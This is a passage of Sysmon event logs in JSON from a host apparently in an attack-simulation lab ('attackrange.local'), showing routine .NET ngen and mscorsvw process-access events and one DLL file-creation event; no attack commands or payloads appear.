C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\wow64.dll+10c0b|C:\\Windows\\System32\\wow64.dll+10499|C:\\Windows\\System32\\wow64.dll+6e75|C:\\Windows\\System32\\wow64cpu.dll+1d07|C:\\Windows\\System32\\wow64.dll+1bf87|C:\\Windows\\System32\\wow64.dll+cba0|C:\\Windows\\SYSTEM32\\ntdll.dll+92bd7|C:\\Windows\\SYSTEM32\\ntdll.dll+c7734|C:\\Windows\\SYSTEM32\\ntdll.dll+7834e|C:\\Windows\\SYSTEM32\\ntdll.dll+6fa4c(wow64)|C:\\Windows\\System32\\KERNELBASE.dll+d90a8(wow64)|C:\\Windows\\System32\\KERNELBASE.dll+d7d7c(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+b37e(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+73b7(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+a4c6(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+a642(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+ad30(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+abce(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+af4a(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+b1b4(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+8f0a(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+8fe3(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+9082(wow64)","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:04:42.104","SourceProcessGUID":"{90617006-422D-5F2D-0000-0010724D0900}","SourceProcessId":"4796","SourceThreadId":"4820","SourceImage":"C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ngen.exe","TargetProcessGUID":"{90617006-435A-5F2D-0000-00107FB71100}","TargetProcessId":"3472","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x103801","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\wow64.dll+10c0b|C:\\Windows\\System32\\wow64.dll+10499|C:\\Windows\\System32\\wow64.dll+6e75|C:\\Windows\\System32\\wow64cpu.dll+1d07|C:\\Windows\\System32\\wow64.dll+1bf87|C:\\Windows\\System32\\wow64.dll+cba0|C:\\Windows\\SYSTEM32\\ntdll.dll+92bd7|C:\\Windows\\SYSTEM32\\ntdll.dll+c7734|C:\\Windows\\SYSTEM32\\ntdll.dll+7834e|C:\\Windows\\SYSTEM32\\ntdll.dll+6fa4c(wow64)|C:\\Windows\\System32\\KERNELBASE.dll+d90a8(wow64)|C:\\Windows\\System32\\KERNELBASE.dll+d7d7c(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+b37e(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+73b7(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+a4c6(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+a642(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+ad30(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+abce(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+af4a(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+b1b4(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+8f0a(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+8fe3(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+9082(wow64)","EventReceivedTime":"2020-08-07 12:04:42","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:04:42","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8497,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:04:42.104\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 760\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-435A-5F2D-0000-00107FB71100}\r\nTargetProcessId: 3472\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:04:42.104","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"760","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-435A-5F2D-0000-00107FB71100}","TargetProcessId":"3472","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 12:04:42","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:04:42","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8498,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:04:42.104\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-435A-5F2D-0000-00107FB71100}\r\nTargetProcessId: 3472\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:04:42.104","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-435A-5F2D-0000-00107FB71100}","TargetProcessId":"3472","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:04:42","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:04:42","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8499,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:04:42.182\r\nSourceProcessGUID: {90617006-422D-5F2D-0000-0010724D0900}\r\nSourceProcessId: 4796\r\nSourceThreadId: 4524\r\nSourceImage: C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ngen.exe\r\nTargetProcessGUID: {90617006-435A-5F2D-0000-00102ABB1100}\r\nTargetProcessId: 2816\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x103801\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\wow64.dll+10c0b|C:\\Windows\\System32\\wow64.dll+10499|C:\\Windows\\System32\\wow64.dll+6e75|C:\\Windows\\System32\\wow64cpu.dll+1d07|C:\\Windows\\System32\\wow64.dll+1bf87|C:\\Windows\\System32\\wow64.dll+cba0|C:\\Windows\\SYSTEM32\\ntdll.dll+784ad|C:\\Windows\\SYSTEM32\\ntdll.dll+7834e|C:\\Windows\\SYSTEM32\\ntdll.dll+6fa4c(wow64)|C:\\Windows\\System32\\KERNELBASE.dll+d90a8(wow64)|C:\\Windows\\System32\\KERNELBASE.dll+d7d7c(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+b37e(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+73b7(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+a4c6(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+a642(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+ad30(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+ae03(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+c43d(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+c4ad(wow64)|C:\\Windows\\System32\\KERNEL32.DLL+162c4(wow64)|C:\\Windows\\SYSTEM32\\ntdll.dll+60969(wow64)|C:\\Windows\\SYSTEM32\\ntdll.dll+60934(wow64)","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:04:42.182","SourceProcessGUID":"{90617006-422D-5F2D-0000-0010724D0900}","SourceProcessId":"4796","SourceThreadId":"4524","SourceImage":"C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ngen.exe","TargetProcessGUID":"{90617006-435A-5F2D-0000-00102ABB1100}","TargetProcessId":"2816","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x103801","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\wow64.dll+10c0b|C:\\Windows\\System32\\wow64.dll+10499|C:\\Windows\\System32\\wow64.dll+6e75|C:\\Windows\\System32\\wow64cpu.dll+1d07|C:\\Windows\\System32\\wow64.dll+1bf87|C:\\Windows\\System32\\wow64.dll+cba0|C:\\Windows\\SYSTEM32\\ntdll.dll+784ad|C:\\Windows\\SYSTEM32\\ntdll.dll+7834e|C:\\Windows\\SYSTEM32\\ntdll.dll+6fa4c(wow64)|C:\\Windows\\System32\\KERNELBASE.dll+d90a8(wow64)|C:\\Windows\\System32\\KERNELBASE.dll+d7d7c(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+b37e(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+73b7(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+a4c6(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+a642(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+ad30(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+ae03(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+c43d(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+c4ad(wow64)|C:\\Windows\\System32\\KERNEL32.DLL+162c4(wow64)|C:\\Windows\\SYSTEM32\\ntdll.dll+60969(wow64)|C:\\Windows\\SYSTEM32\\ntdll.dll+60934(wow64)","EventReceivedTime":"2020-08-07 12:04:42","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:04:42","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8500,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:04:42.182\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 2376\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-435A-5F2D-0000-00102ABB1100}\r\nTargetProcessId: 2816\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:04:42.182","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"2376","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-435A-5F2D-0000-00102ABB1100}","TargetProcessId":"2816","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 12:04:42","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:04:42","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8501,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:04:42.198\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-435A-5F2D-0000-00102ABB1100}\r\nTargetProcessId: 2816\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:04:42.198","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-435A-5F2D-0000-00102ABB1100}","TargetProcessId":"2816","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:04:42","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:04:43","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":11,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":2,"Task":11,"OpcodeValue":0,"RecordNumber":8502,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"File created:\r\nRuleName: DLL\r\nUtcTime: 2020-08-07 12:04:43.666\r\nProcessGuid: {90617006-435A-5F2D-0000-00102ABB1100}\r\nProcessId: 2816\r\nImage: C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvw.exe\r\nTargetFilename: C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\Temp\\b00-0\\System.Runtime.Serialization.dll\r\nCreationUtcTime: 2020-08-07 12:04:43.666","Category":"File created (rule: FileCreate)","Opcode":"Info","RuleName":"DLL","UtcTime":"2020-08-07 12:04:43.666","ProcessGuid":"{90617006-435A-5F2D-0000-00102ABB1100}","Image":"C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvw.exe","TargetFilename":"C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\Temp\\b00-0\\System.Runtime.Serialization.dll","CreationUtcTime":"2020-08-07 12:04:43.666","EventReceivedTime":"2020-08-07 12:04:44","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:04:43","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8503,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:04:43.744\r\nSourceProcessGUID: {90617006-422D-5F2D-0000-0010724D0900}\r\nSourceProcessId: 4796\r\nSourceThreadId: 4820\r\nSourceImage: C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ngen.exe\r\nTargetProcessGUID: {90617006-435B-5F2D-0000-001009C11100}\r\nTargetProcessId: 4388\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x103801\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\wow64.dll+10c0b|C:\\Windows\\System32\\wow64.dll+10499|C:\\Windows\\System32\\wow64.dll+6e75|C:\\Windows\\System32\\wow64cpu.dll+1d07|C:\\Windows\\System32\\wow64.dll+1bf87|C:\\Windows\\System32\\wow64.dll+cba0|C:\\Windows\\SYSTEM32\\ntdll.dll+92bd7|C:\\Windows\\SYSTEM32\\ntdll.dll+c7734|C:\\Windows\\SYSTEM32\\ntdll.dll+7834e|C:\\Windows\\SYSTEM32\\ntdll.dll+6fa4c(wow64)|C:\\Windows\\System32\\KERNELBASE.dll+d90a8(wow64)|C:\\Windows\\System32\\KERNELBASE.dll+d7d7c(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+b37e(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+73b7(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+a4c6(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+a642(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+ad30(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+abce(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+af4a(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+b1b4(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+8f0a(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+8fe3(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+9082(wow64)","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:04:43.744","SourceProcessGUID":"{90617006-422D-5F2D-0000-0010724D0900}","SourceProcessId":"4796","SourceThreadId":"4820","SourceImage":"C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ngen.exe","TargetProcessGUID":"{90617006-435B-5F2D-0000-001009C11100}","TargetProcessId":"4388","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x103801","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\wow64.dll+10c0b|C:\\Windows\\System32\\wow64.dll+10499|C:\\Windows\\System32\\wow64.dll+6e75|C:\\Windows\\System32\\wow64cpu.dll+1d07|C:\\Windows\\System32\\wow64.dll+1bf87|C:\\Windows\\System32\\wow64.dll+cba0|C:\\Windows\\SYSTEM32\\ntdll.dll+92bd7|C:\\Windows\\SYSTEM32\\ntdll.dll+c7734|C:\\Windows\\SYSTEM32\\ntdll.dll+7834e|C:\\Windows\\SYSTEM32\\ntdll.dll+6fa4c(wow64)|C:\\Windows\\System32\\KERNELBASE.dll+d90a8(wow64)|C:\\Windows\\System32\\KERNELBASE.dll+d7d7c(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+b37e(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+73b7(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+a4c6(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+a642(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+ad30(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+abce(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+af4a(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+b1b4(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+8f0a(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+8fe3(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+9082(wow64)","EventReceivedTime":"2020-08-07 12:04:44","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:04:43","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8504,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:04:43.744\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 760\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-435B-5F2D-0000-001009C11100}\r\nTargetProcessId: 4388\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: 